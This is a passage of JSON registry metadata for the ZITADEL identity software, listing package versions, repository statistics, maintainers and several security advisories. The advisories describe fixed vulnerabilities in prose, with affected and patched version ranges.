[security@zitadel.com](mailto:security@zitadel.com)\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-11-29T21:32:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-2wmj-46rj-qm2w","https://nvd.nist.gov/vuln/detail/CVE-2023-49097","https://github.com/advisories/GHSA-2wmj-46rj-qm2w"],"source_kind":"github","identifiers":["GHSA-2wmj-46rj-qm2w","CVE-2023-49097"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2023-11-29T22:05:59.062Z","updated_at":"2026-11-05T05:12:19.477Z","epss_percentage":0.00767,"epss_percentile":0.55532,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd21qLTQ2cmotcW0yd84AA3az","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yd21qLTQ2cmotcW0yd84AA3az","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.41.6","vulnerable_version_range":"\u003e= 2.41.0, \u003c 2.41.6"},{"first_patched_version":"2.40.10","vulnerable_version_range":"\u003e= 2.40.0, \u003c 2.40.10"},{"first_patched_version":"2.39.9","vulnerable_version_range":"\u003e= 2.39.0, \u003c 2.39.9"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd21qLTQ2cmotcW0yd84AA3az/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03aDhtLXZyeHgtdnI0bc4AA2_V","url":"https://github.com/advisories/GHSA-7h8m-vrxx-vr4m","title":"ZITADEL race condition in lockout policy execution","description":"### Impact\n\nZITADEL provides administrators the possibility to define a `Lockout Policy` with a maximum amount of failed password check attempts. On every failed password check, the amount of failed checks is compared against the configured maximum.\nExceeding the limit, will lock the user and prevent further authentication.\n\nIn the affected implementation it was possible for an attacker to start multiple parallel password checks, giving him the possibility to try out more combinations than configured in the `Lockout Policy`.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.40.5](https://github.com/zitadel/zitadel/releases/tag/v2.40.5)\n2.38.x versions are fixed on \u003e= [2.38.3](https://github.com/zitadel/zitadel/releases/tag/v2.38.3)\n\n### Workarounds\n\nThere is no workaround since a patch is already available.\n\n### References\n\nNone\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-11-08T17:52:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-7h8m-vrxx-vr4m","https://github.com/zitadel/zitadel/commit/22e2d5599918864877e054ebe82fb834a5aa1077","https://github.com/zitadel/zitadel/releases/tag/v2.38.3","https://github.com/zitadel/zitadel/releases/tag/v2.40.5","https://nvd.nist.gov/vuln/detail/CVE-2023-47111","https://github.com/advisories/GHSA-7h8m-vrxx-vr4m"],"source_kind":"github","identifiers":["GHSA-7h8m-vrxx-vr4m","CVE-2023-47111"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2023-11-08T18:06:04.859Z","updated_at":"2026-11-05T05:12:26.857Z","epss_percentage":0.00516,"epss_percentile":0.43651,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03aDhtLXZyeHgtdnI0bc4AA2_V","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03aDhtLXZyeHgtdnI0bc4AA2_V","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.38.3","vulnerable_version_range":"\u003c 2.38.3"},{"first_patched_version":"2.40.5","vulnerable_version_range":"\u003e= 2.39.0, \u003c 2.40.5"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03aDhtLXZyeHgtdnI0bc4AA2_V/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12NjgzLXJjeHgtdnBmZs4AA2X6","url":"https://github.com/advisories/GHSA-v683-rcxx-vpff","title":"ZITADEL's password reset does not respect the \"Ignoring unknown usernames\" setting","description":"### Impact\nZITADEL administrators can enable a setting called \"Ignoring unknown usernames\" which helps mitigate attacks that try to guess/enumerate usernames. While this settings was properly working during the authentication process it did not work correctly on the password reset flow. This meant that even if this feature was active that an attacker could use the password reset function to verify if an account exist within ZITADEL.\n\n### Patches\nThis bug has been patched in versions \u003e2.27.2 beginning with [2.37.3](https://github.com/zitadel/zitadel/releases/tag/v2.37.3) and [2.38.0](https://github.com/zitadel/zitadel/releases/tag/v2.38.0)\n\n### Workarounds\nNone available we advise to updated if this is needed.\n\n### References\nNone\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-10-10T21:30:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-v683-rcxx-vpff","https://nvd.nist.gov/vuln/detail/CVE-2023-44399","https://github.com/zitadel/zitadel/releases/tag/v2.37.3","https://github.com/zitadel/zitadel/releases/tag/v2.38.0","https://github.com/advisories/GHSA-v683-rcxx-vpff"],"source_kind":"github","identifiers":["GHSA-v683-rcxx-vpff","CVE-2023-44399"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2023-10-10T22:06:02.214Z","updated_at":"2026-11-05T05:12:47.195Z","epss_percentage":0.00665,"epss_percentile":0.51519,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NjgzLXJjeHgtdnBmZs4AA2X6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12NjgzLXJjeHgtdnBmZs4AA2X6","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.37.3","vulnerable_version_range":"\u003c 2.37.3"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NjgzLXJjeHgtdnBmZs4AA2X6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cnJyLTc4eHAtNWpwOM4AAw6R","url":"https://github.com/advisories/GHSA-6rrr-78xp-5jp8","title":"Zitadel RefreshToken invalidation vulnerability","description":"### Impact\nRefreshTokens is an OAuth 2.0 feature that allows applications to retrieve new access tokens and refresh the user's session without the need for interacting with a UI.\n\nRefreshTokens were not invalidated when a user was locked or deactivated. The deactivated or locked user was able to obtain a valid access token only through a refresh token grant.\n\nWhen the locked or deactivated user’s session was already terminated (“logged out”) then it was not possible to create a new session. Renewal of access token through a refresh token grant is limited to the configured amount of time (RefreshTokenExpiration).\n\n### Patches\n2.x versions are fixed on \u003e= [2.17.3](https://github.com/zitadel/zitadel/releases/tag/v2.17.3)\n2.16.x versions are fixed on \u003e= [2.16.4](https://github.com/zitadel/zitadel/releases/tag/v2.16.4)\n\nZITADEL recommends upgrading to the latest versions available in due course.\n\n### Workarounds\nEnsure the RefreshTokenExpiration in the OIDC settings of your instance is set according to your security requirements.\n\n### References\n\nhttps://zitadel.com/docs/guides/manage/console/instance-settings#oidc-token-lifetimes-and-expiration\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-01-11T18:27:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-6rrr-78xp-5jp8","https://github.com/zitadel/zitadel/commit/301e22c4956ead6014a8179463c37263f7301a83","https://github.com/zitadel/zitadel/commit/fc892c52a10cd4ffdac395747494f3a93a7494c2","https://github.com/zitadel/zitadel/releases/tag/v2.16.4","https://github.com/zitadel/zitadel/releases/tag/v2.17.3","https://nvd.nist.gov/vuln/detail/CVE-2023-22492","https://github.com/advisories/GHSA-6rrr-78xp-5jp8"],"source_kind":"github","identifiers":["GHSA-6rrr-78xp-5jp8","CVE-2023-22492"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2023-01-11T19:03:16.859Z","updated_at":"2026-11-05T05:15:03.623Z","epss_percentage":0.00627,"epss_percentile":0.49739,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cnJyLTc4eHAtNWpwOM4AAw6R","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cnJyLTc4eHAtNWpwOM4AAw6R","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"2.16.4","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.16.4"},{"first_patched_version":"2.17.3","vulnerable_version_range":"\u003e= 2.17.0, \u003c 2.17.3"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cnJyLTc4eHAtNWpwOM4AAw6R/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jOGZqLTRwbTgtbXAyY84AAui6","url":"https://github.com/advisories/GHSA-c8fj-4pm8-mp2c","title":"Broken Authorization in ZITADEL Actions","description":"### Impact\n\n**Actions**, introduced in ZITADEL **1.42.0** on the API and **1.56.0** for Console, is a feature, where users with role `ORG_OWNER` are able to create Javascript Code, which is invoked by the system at certain points during the login.\n**Actions**, for example, allow creating authorizations (user grants) on newly created users programmatically.\nDue to a missing authorization check, **Actions** were able to grant authorizations for projects that belong to other organisations inside the same Instance. Granting authorizations via API and Console is not affected by this vulnerability.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.2.0](https://github.com/zitadel/zitadel/releases/tag/v2.2.0)\n1.x versions are fixed on \u003e= [1.87.1](https://github.com/zitadel/zitadel/releases/tag/v1.87.1)\n\nZITADEL recommends upgrading to the latest versions available in due course.\n\n### Workarounds\n\nThere is no workaround since a patch is already available.\n\n### Who did disclose this\n\nDuring our recurring white box penetration test our external security consultant found this issue.\nThe full report will be made public after the complete review.\n\n### References\n\nhttps://docs.zitadel.com/docs/guides/manage/customize/behavior\nhttps://docs.zitadel.com/docs/apis/actions\nhttps://zitadel.com/blog/pentest-results-h1-2021\n\n### Questions\n\nIf you have any questions or comments about this advisory:\n* Email us at [security@zitadel.com](mailto:security@zitadel.com)\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-08-30T20:54:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-c8fj-4pm8-mp2c","https://github.com/zitadel/zitadel/pull/4237","https://github.com/zitadel/zitadel/pull/4238","https://nvd.nist.gov/vuln/detail/CVE-2022-36051","https://github.com/zitadel/zitadel/releases/tag/v1.87.1","https://github.com/zitadel/zitadel/releases/tag/v2.2.0","https://github.com/advisories/GHSA-c8fj-4pm8-mp2c"],"source_kind":"github","identifiers":["GHSA-c8fj-4pm8-mp2c","CVE-2022-36051"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2022-12-21T16:12:00.334Z","updated_at":"2026-11-05T05:15:46.136Z","epss_percentage":0.0101,"epss_percentile":0.62896,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jOGZqLTRwbTgtbXAyY84AAui6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jOGZqLTRwbTgtbXAyY84AAui6","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel","versions":[{"first_patched_version":"1.87.1","vulnerable_version_range":"\u003e= 1.42.0, \u003c 1.87.1"},{"first_patched_version":"2.2.0","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.2.0"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jOGZqLTRwbTgtbXAyY84AAui6/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/zitadel/zitadel","docker_dependents_count":3,"docker_downloads_count":157,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/zitadel/zitadel","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/zitadel/zitadel/dependencies","status":null,"funding_links":["https://github.com/sponsors/zitadel"],"critical":null,"issue_metadata":{"last_synced_at":"2026-11-02T18:00:41.947Z","issues_count":1654,"pull_requests_count":2633,"avg_time_to_close_issue":15280018.394548062,"avg_time_to_close_pull_request":1520952.1635768812,"issues_closed_count":697,"pull_requests_closed_count":1834,"pull_request_authors_count":300,"issue_authors_count":550,"avg_comments_per_issue":2.14087061668682,"avg_comments_per_pull_request":2.3402962400303835,"merged_pull_requests_count":1263,"bot_issues_count":6,"bot_pull_requests_count":517,"past_year_issues_count":226,"past_year_pull_requests_count":340,"past_year_avg_time_to_close_issue":6321882.724137931,"past_year_avg_time_to_close_pull_request":1918933.2357142856,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":140,"past_year_pull_request_authors_count":132,"past_year_issue_authors_count":155,"past_year_avg_comments_per_issue":1.2300884955752212,"past_year_avg_comments_per_pull_request":3.5352941176470587,"past_year_bot_issues_count":4,"past_year_bot_pull_requests_count":36,"past_year_merged_pull_requests_count":86,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/issues","maintainers":[{"login":"livio-a","count":391,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/livio-a"},{"login":"adlerhurst","count":331,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/adlerhurst"},{"login":"hifabienne","count":254,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hifabienne"},{"login":"eliobischof","count":250,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/eliobischof"},{"login":"muhlemmer","count":208,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/muhlemmer"},{"login":"stebenz","count":208,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stebenz"},{"login":"mffap","count":145,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mffap"},{"login":"peintnermax","count":131,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/peintnermax"},{"login":"fforootd","count":53,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fforootd"},{"login":"dakshitha","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dakshitha"},{"login":"wim07101993","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wim07101993"},{"login":"dwijnand","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dwijnand"},{"login":"DavalEnzo","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/DavalEnzo"},{"login":"luvkapur","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/luvkapur"},{"login":"IrynaSydorenko","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/IrynaSydorenko"}],"active_maintainers":[{"login":"livio-a","count":43,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/livio-a"},{"login":"muhlemmer","count":24,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/muhlemmer"},{"login":"peintnermax","count":20,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/peintnermax"},{"login":"adlerhurst","count":17,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/adlerhurst"},{"login":"fforootd","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fforootd"},{"login":"wim07101993","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wim07101993"},{"login":"hifabienne","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hifabienne"},{"login":"mffap","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mffap"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fzitadel%2Fzitadel/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fzitadel%2Fzitadel/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fzitadel%2Fzitadel/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fzitadel%2Fzitadel/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fzitadel%2Fzitadel/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fzitadel%2Fzitadel/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2541374,"maintainers_count":0,"namespaces_count":854014,"keywords_count":148137,"github":"golang","metadata":{"funded_packages_count":121600,"sync_missing_packages_cursor":{"timestamp":"2026-09-29T00:04:57.155362Z","path":"github.com/virtengine/virtengine/sdk/specs","version":"v0.0.0-20260928231908-c0c887541540"},"rate_limit":5},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-11-05T05:03:49.034Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":13540749,"name":"zitadel/zitadel","ecosystem":"helm","description":"A Helm chart for ZITADEL","homepage":"https://zitadel.com","licenses":"Unknown","normalized_licenses":["Other"],"repository_url":"https://github.com/zitadel/zitadel","keywords_array":["identity","oidc","oauth","auth","saml","iam","sso","idp"],"namespace":"zitadel","versions_count":168,"first_release_published_at":"2022-06-07T20:39:56.000Z","latest_release_published_at":"2026-10-09T01:51:37.000Z","latest_release_number":"10.4.0","latest_published_release_number":"11.0.0-beta.11","last_synced_at":"2026-11-04T22:11:20.632Z","created_at":"2026-02-11T00:58:41.582Z","updated_at":"2026-11-04T22:11:20.633Z","registry_url":"https://artifacthub.io/packages/helm/zitadel/zitadel","install_command":"helm repo add zitadel https://charts.zitadel.com \u0026\u0026 helm install zitadel zitadel/zitadel","documentation_url":"https://artifacthub.io/packages/helm/zitadel/zitadel","metadata":{"app_version":"v4.19.2","chart_version":"11.0.0-beta.11","category":6,"official":true,"deprecated":false,"repository_url":"https://charts.zitadel.com","maintainers":[{"name":"zitadel","email":"support@zitadel.com"}]},"repo_metadata":{"id":36961295,"uuid":"247714750","full_name":"zitadel/zitadel","owner":"zitadel","description":"ZITADEL - Identity infrastructure, simplified for you.","archived":false,"fork":false,"pushed_at":"2026-11-03T08:08:28.000Z","size":599756,"stargazers_count":15504,"open_issues_count":1344,"forks_count":1414,"subscribers_count":65,"default_branch":"main","last_synced_at":"2026-11-03T18:12:39.948Z","etag":null,"topics":["2fa","authentication","authorization","fido2","fips-140-3","identity","login","mfa","multitenancy","oauth2","oidc","openid-connect","passkeys","saml","scim","sso","user"],"latest_commit_sha":null,"homepage":"https://zitadel.com","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/zitadel.png","metadata":{"files":{"readme":"README.md","changelog":"changelog.config.js","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":".cursorrules","copilot":".github/copilot-instructions.md","dco":null,"cla":null,"disclosure":null}},"created_at":"2020-03-16T13:51:31.000Z","updated_at":"2026-11-03T15:26:48.000Z","dependencies_parsed_at":"2026-11-03T16:18:23.712Z","dependency_job_id":null,"html_url":"https://github.com/zitadel/zitadel","commit_stats":{"total_commits":2005,"total_committers":48,"mean_commits":"41.770833333333336","dds":0.7281795511221945,"last_synced_commit":"a3b36a0138d184293a79e3e4a2b24bbed1962926"},"previous_names":["caos/zitadel"],"tags_count":2163,"template":false,"template_full_name":null,"purl":"pkg:github/zitadel/zitadel","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/zitadel","download_url":"https://codeload.github.com/zitadel/zitadel/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/sbom","scorecard":null,"funding_links":["https://github.com/sponsors/zitadel"],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":349647599,"owners_count":38570343,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-11-03T11:36:44.738Z","status":"ssl_error","status_checked_at":"2026-11-03T11:36:44.278Z","response_time":53,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"zitadel","name":"ZITADEL","uuid":"70011121","kind":"organization","description":"Identity infrastructure, simplified for you.","email":"hi@zitadel.com","website":"https://zitadel.com","location":null,"twitter":"zitadel","company":null,"icon_url":"https://avatars.githubusercontent.com/u/70011121?v=4","repositories_count":90,"last_synced_at":"2026-10-31T10:22:23.599Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/zitadel","funding_links":["https://github.com/sponsors/zitadel"],"total_stars":18554,"followers":509,"following":0,"created_at":"2022-11-14T05:26:10.738Z","updated_at":"2026-10-31T10:22:23.752Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/zitadel","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/zitadel/repositories"},"tags":[]},"repo_metadata_updated_at":"2026-11-03T23:19:28.383Z","dependent_packages_count":0,"downloads":0,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":0.0,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:helm/zitadel/zitadel","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/helm/zitadel/zitadel","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/helm/zitadel/zitadel","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/helm/zitadel/zitadel/dependencies","status":null,"funding_links":["https://github.com/sponsors/zitadel"],"critical":null,"issue_metadata":{"last_synced_at":"2026-11-02T18:00:41.947Z","issues_count":1654,"pull_requests_count":2633,"avg_time_to_close_issue":15280018.394548062,"avg_time_to_close_pull_request":1520952.1635768812,"issues_closed_count":697,"pull_requests_closed_count":1834,"pull_request_authors_count":300,"issue_authors_count":550,"avg_comments_per_issue":2.14087061668682,"avg_comments_per_pull_request":2.3402962400303835,"merged_pull_requests_count":1263,"bot_issues_count":6,"bot_pull_requests_count":517,"past_year_issues_count":226,"past_year_pull_requests_count":340,"past_year_avg_time_to_close_issue":6321882.724137931,"past_year_avg_time_to_close_pull_request":1918933.2357142856,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":140,"past_year_pull_request_authors_count":132,"past_year_issue_authors_count":155,"past_year_avg_comments_per_issue":1.2300884955752212,"past_year_avg_comments_per_pull_request":3.5352941176470587,"past_year_bot_issues_count":4,"past_year_bot_pull_requests_count":36,"past_year_merged_pull_requests_count":86,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/issues","maintainers":[{"login":"livio-a","count":391,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/livio-a"},{"login":"adlerhurst","count":331,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/adlerhurst"},{"login":"hifabienne","count":254,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hifabienne"},{"login":"eliobischof","count":250,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/eliobischof"},{"login":"muhlemmer","count":208,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/muhlemmer"},{"login":"stebenz","count":208,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stebenz"},{"login":"mffap","count":145,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mffap"},{"login":"peintnermax","count":131,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/peintnermax"},{"login":"fforootd","count":53,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fforootd"},{"login":"dakshitha","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dakshitha"},{"login":"wim07101993","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wim07101993"},{"login":"dwijnand","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dwijnand"},{"login":"DavalEnzo","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/DavalEnzo"},{"login":"luvkapur","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/luvkapur"},{"login":"IrynaSydorenko","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/IrynaSydorenko"}],"active_maintainers":[{"login":"livio-a","count":43,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/livio-a"},{"login":"muhlemmer","count":24,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/muhlemmer"},{"login":"peintnermax","count":20,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/peintnermax"},{"login":"adlerhurst","count":17,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/adlerhurst"},{"login":"fforootd","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fforootd"},{"login":"wim07101993","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wim07101993"},{"login":"hifabienne","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hifabienne"},{"login":"mffap","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mffap"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/zitadel%2Fzitadel/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/zitadel%2Fzitadel/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/zitadel%2Fzitadel/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/zitadel%2Fzitadel/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/zitadel%2Fzitadel/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/zitadel%2Fzitadel/codemeta","maintainers":[],"registry":{"name":"artifacthub.io","url":"https://artifacthub.io","ecosystem":"helm","default":true,"packages_count":19011,"maintainers_count":0,"namespaces_count":5895,"keywords_count":11525,"github":"artifacthub","metadata":{"funded_packages_count":1422,"rate_limit":3},"icon_url":"https://github.com/artifacthub.png","created_at":"2026-01-29T12:56:41.438Z","updated_at":"2026-10-30T05:03:14.969Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/namespaces"}},{"id":10914399,"name":"github.com/zitadel/zitadel/v2","ecosystem":"go","description":"","homepage":"https://github.com/zitadel/zitadel","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/zitadel/zitadel","keywords_array":[],"